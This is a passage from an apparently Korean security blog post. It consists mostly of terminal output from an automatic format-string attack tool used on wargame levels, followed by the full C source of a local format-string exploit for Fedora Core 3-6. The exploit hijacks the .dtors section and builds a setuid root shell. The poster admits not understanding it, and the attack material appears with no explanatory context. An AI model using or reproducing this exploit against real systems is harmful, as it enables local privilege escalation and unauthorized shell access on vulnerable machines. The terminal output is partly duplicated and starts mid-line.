\x96\x04\x08%8x%8x%8x%49111c%hn%13294c%hn"'
[+] Please any key to start...
sh-2.05b$ id -a
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$
Type 1 :
[level20@ftz tmp]$ ./test
./test - Automatic FSB attacker
Usage: ./test <filename> <type> [align]
Type 0 : input from argv[1]
Type 1 : input from gets()
ex> ./test ./vul 1 4 0
[level20@ftz tmp]$ ./test ../attackme 1
Type 0 : input from argv[1]
Type 1 : input from gets()
ex> ./test ./vul 1 4 0
[level20@ftz tmp]$ ./test ../attackme 1
./test - Automatic FSB attacker
[+] Target program : ../attackme
[+] .dtors section start : 0x8049594
[+] find sflag number.
[+] __DTORS_END__ : 0x8049598
[+] Address of EGG : 0xbffff3ed
[+] Number of garage : 3
[+] Using alignment : 0
[+] Using payload : (printf "AAAA\x9a\x95\x04\x08AAAA\x98\x95\x04\x08%%8x%%8x%%8
x%%49111c%%hn%%13294c%%hn"; cat) | ../attackme
[+] Please any key to start...
id -a
uid=3101(clear) gid=3100(level20) groups=3100(level20)
[+] .dtors section start : 0x8049594
[+] find sflag number.
[+] __DTORS_END__ : 0x8049598
[+] Address of EGG : 0xbffff3ed
[+] Number of garage : 3
[+] Using alignment : 0
[+] Using payload : (printf "AAAA\x9a\x95\x04\x08AAAA\x98\x95\x04\x08%%8x%%8x%%8
x%%49111c%%hn%%13294c%%hn"; cat) | ../attackme
[+] Please any key to start...
id -a
uid=3101(clear) gid=3100(level20) groups=3100(level20)
6. Fedora 3,4,5,6
/* ** ** Code name: 0x82-dtors_execv_ex.c ** Description: Fedora Core Linux 6 based format string exploit (POC-local) ** ** -- ** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. ** My World: http://x82.inetcop.org ** */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> /* global */ int sflag=0; int type=3; unsigned long __dtors_end__=0; unsigned long call_edx_next=0; unsigned long __do_global_dtors_aux_addr=0; unsigned char __do_global_dtors_aux_ret_code[256]; struct os_t { int num; char *os; int overwrite_type; unsigned long execv_addr; }; struct os_t plat[]={ { 0,"Fedora Core release 3 (Heidelberg)",8,0xf6f415d0 /* It's bad ! */ }, { 1,"Fedora Core release 4 (Stentz)",8,0x7a22d4 }, { 2,"Fedora Core release 5 (Bordeaux)",12,0xc3541c }, { 3,"Fedora Core release 6 (Zod)",12,0x19dd60 }, { 4,NULL,0,0x0 } }; unsigned long execv_addr=0; void banrl() { fprintf(stdout,"\n Fedora Core Linux 6 based format string exploit (POC-local)\n\n"); } void sig_exit() { printf(" [-] exploit end.\n\n"); exit(-1); } void end_exploit() { printf(" [-] exploit failed.\n\n"); exit(-1); } int make_shell() { FILE *fp; if((fp=fopen("sh.c","w"))==NULL) { fprintf(stderr," [-] shell make failed.\n"); exit(-1); } fprintf(fp, "#include <stdio.h>\n" "int main(){\n" " unlink(\"sh\");\n" " unlink(\"sh.c\");\n" " unlink(\"%s\");\n" " setuid(geteuid());\n" " setgid(getegid());\n" " setreuid(geteuid(),geteuid());\n" " setregid(getegid(),getegid());\n" " execl(\"/bin/sh\",\"sh\",0);\n" "}\n",__do_global_dtors_aux_ret_code); fclose(fp); system("gcc -o sh sh.c 2>/dev/null 1>/dev/null >/dev/null"); symlink("sh",__do_global_dtors_aux_ret_code); return 0; } int main(int argc,char *argv[]) { FILE *fp; int ret=0; (void)banrl(); if(argc<2) { fprintf(stdout," Usage: %s [target program] [os type num]\n" " example> %s ./vuln 3 (default)\n\n" " type num> 0: FC3.\n" " 1: FC4.\n" " 2: FC5.\n" " 3: FC6. (default)\n\n",argv[0],argv[0]); exit(-1); } if(argc==3) { type=atoi(argv[2]); } execv_addr=plat[type].execv_addr; printf(" [+] execv address: %p\n",execv_addr); signal(SIGINT,sig_exit); signal(SIGTSTP,sig_exit); if((ret=find_sflag_poc(argv[1]))==-1) { end_exploit(); } if((ret=find_addr(argv[1]))==-1) { end_exploit(); } if((ret=find_execute_command(argv[1]))==-1) { end_exploit(); } (int)make_shell(); #define PATH ".:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:" setenv("PATH",PATH,strlen(PATH)); while(1) { do_exploit(argv[1]); /* exploit success check */ if((fp=fopen("sh","r"))==NULL) { fprintf(stdout," [*] exploit successfully.\n\n"); exit(-1); } else fclose(fp); } return 0; } int do_exploit(char *p) { int i=0; int j=0; int pid=0; int t_sflag=sflag; int __do_global_dtors_aux_head=0; int __do_global_dtors_aux_tail=0; int call_edx_next_head=0; int call_edx_next_tail=0; int execv_head=0; int execv_tail=0; unsigned char buf[1024]; unsigned char fmt[512]; memset(buf,0,sizeof(buf)); memset(fmt,0,sizeof(fmt)); __do_global_dtors_aux_head=(__do_global_dtors_aux_addr>>16)&0xffff; __do_global_dtors_aux_tail=(__do_global_dtors_aux_addr>>0)&0xffff; call_edx_next_head=(call_edx_next>>16)&0xffff; call_edx_next_tail=(call_edx_next>>0)&0xffff; execv_head=(execv_addr>>16)&0xffff; execv_tail=(execv_addr>>0)&0xffff; // make retloc *(long *)&buf[i]=__dtors_end__+0; /* __do_global_dtors_aux() */ i+=4; *(long *)&buf[i]=__dtors_end__+2; i+=4; *(long *)&buf[i]=__dtors_end__+4; /* __do_global_dtors_aux()+27 */ i+=4; *(long *)&buf[i]=__dtors_end__+6; i+=4; *(long *)&buf[i]=__dtors_end__+8; /* execv() */ i+=4; *(long *)&buf[i]=__dtors_end__+10; i+=4; // make format string if(plat[type].overwrite_type==8) { /* __do_global_dtors_aux()+27 */ sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n", call_edx_next_tail-strlen(buf), t_sflag+0, (0x10000+call_edx_next_head)-call_edx_next_tail, t_sflag+1); t_sflag+=2; } else if(plat[type].overwrite_type==12) { /* __do_global_dtors_aux() */ sprintf(fmt,"%%%ux%%%d$n%%%ux%%%d$n", __do_global_dtors_aux_tail-strlen(buf), t_sflag+0, (0x10000+__do_global_dtors_aux_head)-__do_global_dtors_aux_tail, t_sflag+1); t_sflag+=2; /* __do_global_dtors_aux()+27 */ sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n", call_edx_next_tail-__do_global_dtors_aux_head, t_sflag+0, (0x10000+call_edx_next_head)-call_edx_next_tail, t_sflag+1); t_sflag+=2; } /* execv() */ sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n", execv_tail-call_edx_next_head, t_sflag+0, (0x10000+execv_head)-execv_tail, t_sflag+1); t_sflag+=2; strcat(buf,fmt); if((pid=fork())==0) { execl(p,p,buf,0); } wait(&pid); return 0; } int find_addr(char *p) { char buf[256]; FILE *fp; memset(buf,0,sizeof(buf)); sprintf(buf,"echo -n '0x'; " "objdump -d %s | " "grep \"__do_global_dtors_aux>:\" | " "awk -F\" \" {'print $1'}",p); if((fp=popen(buf,"r"))==NULL) { printf(" [-] __do_global_dtors_aux address error\n"); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); __do_global_dtors_aux_addr=strtoul(buf,0,0); memset(buf,0,sizeof(buf)); sprintf(buf,"echo -n '0x'; " "objdump -d %s | " "grep -A 1 \"*%%edx\" | " "tail -1 | awk -F\" \" {'print $1'}",p); if((fp=popen(buf,"r"))==NULL) { printf(" [-] call *%edx next address error\n"); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); call_edx_next=strtoul(buf,0,0); memset(buf,0,sizeof(buf)); sprintf(buf,"echo -n '0x'; " "objdump -h %s | grep .dtors | " "awk -F\" \" {'print $4'}",p); if((fp=popen(buf,"r"))==NULL) { printf(" [-] __dtors_end__ section error\n"); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); __dtors_end__=strtoul(buf,0,0); __dtors_end__+=0x4; printf(" [*] __do_global_dtors_aux(): %p\n" " [*] __do_global_dtors_aux()+27: %p\n" " [*] __dtors_end__ section: %p\n", __do_global_dtors_aux_addr,call_edx_next,__dtors_end__); return 0; } int find_sflag_poc(char *p) { int i; char buf[256]; FILE *fp; printf(" [+] find sflag number.\n"); for(i=0;i<200;i++) { memset(buf,0,sizeof(buf)); sprintf(buf,"%s AAAA.%%%d\\$x",p,i); if((fp=popen(buf,"r"))==NULL) { printf(" [-] %s execute error\n",p); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); if(strstr(buf,"AAAA.41414141")) { sflag=i; printf(" [*] sflag: %d\n",sflag); return 0; } } return -1; } int find_execute_command(char *p) { unsigned char buf[256]; unsigned char code[16]; FILE *fp; int j,z; memset((char *)code,0,sizeof(code)); memset((char *)buf,0,sizeof(buf)); sprintf(buf,"objdump -d %s | " "grep *%%edx -A 30 | " "grep \\$0x0,%%eax -B 16 | " "awk -F\"\\t\" {'print $2'} | " "awk -F\" \" {'print $1'}",p); if((fp=popen(buf,"r"))==NULL) { printf("error\n"); exit(-1); } j=z=0; memset((char *)buf,0,sizeof(buf)); while(fgets(buf,sizeof(buf)-1,fp)) { for(j=0;j<strlen(buf);j++) { if(buf[j]==0x20) { continue; } else if(buf[j]==0x0a||buf[j]==0x00) { break; } else { memset((char *)code,0,sizeof(code)); sprintf(code,"0x%c%c",buf[j+0],buf[j+1]); j+=2; if(strtoul(code,0,0)==0x00) { break; } __do_global_dtors_aux_ret_code[z++]=strtoul(code,0,0); } } } pclose(fp); } /* eoc */
물론 이해는못합니다
'Security' 카테고리의 다른 글
제로보드 download sql injection 취약점 테스트 방법 (0) | 2007.03.17 |
---|---|
제로보드 4.0.0 pl4 취약점 -AmesianX in Null@Root (0) | 2007.03.14 |
Mysqlfast (0) | 2007.03.12 |
Padocon 루나틱 발표자료 (0) | 2007.03.11 |
웹프록시 Odysseus (0) | 2007.03.10 |